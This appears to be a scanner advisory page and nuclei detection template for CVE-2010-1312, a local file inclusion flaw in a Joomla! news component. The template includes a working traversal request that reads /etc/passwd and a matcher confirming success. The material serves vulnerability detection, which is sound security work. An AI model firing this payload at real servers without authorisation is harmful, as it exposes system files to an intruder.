Joomla! Component News Portal 1.5.x - Local File Inclusion

mediumseverity

5CVSS score

13.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the iJoomla News Portal (com_news_portal) component 1.5.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1312 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1312

info:
  name: Joomla! Component News Portal 1.5.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the iJoomla News Portal (com_news_portal) component 1.5.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12077
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1312
    - http://packetstormsecurity.org/1004-exploits/joomlanewportal-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1312
    cwe-id: CWE-22
    epss-score: 0.13621
    epss-percentile: 0.96505
    cpe: cpe:2.3:a:ijoomla:com_news_portal:1.5.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ijoomla
    product: com_news_portal
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,ijoomla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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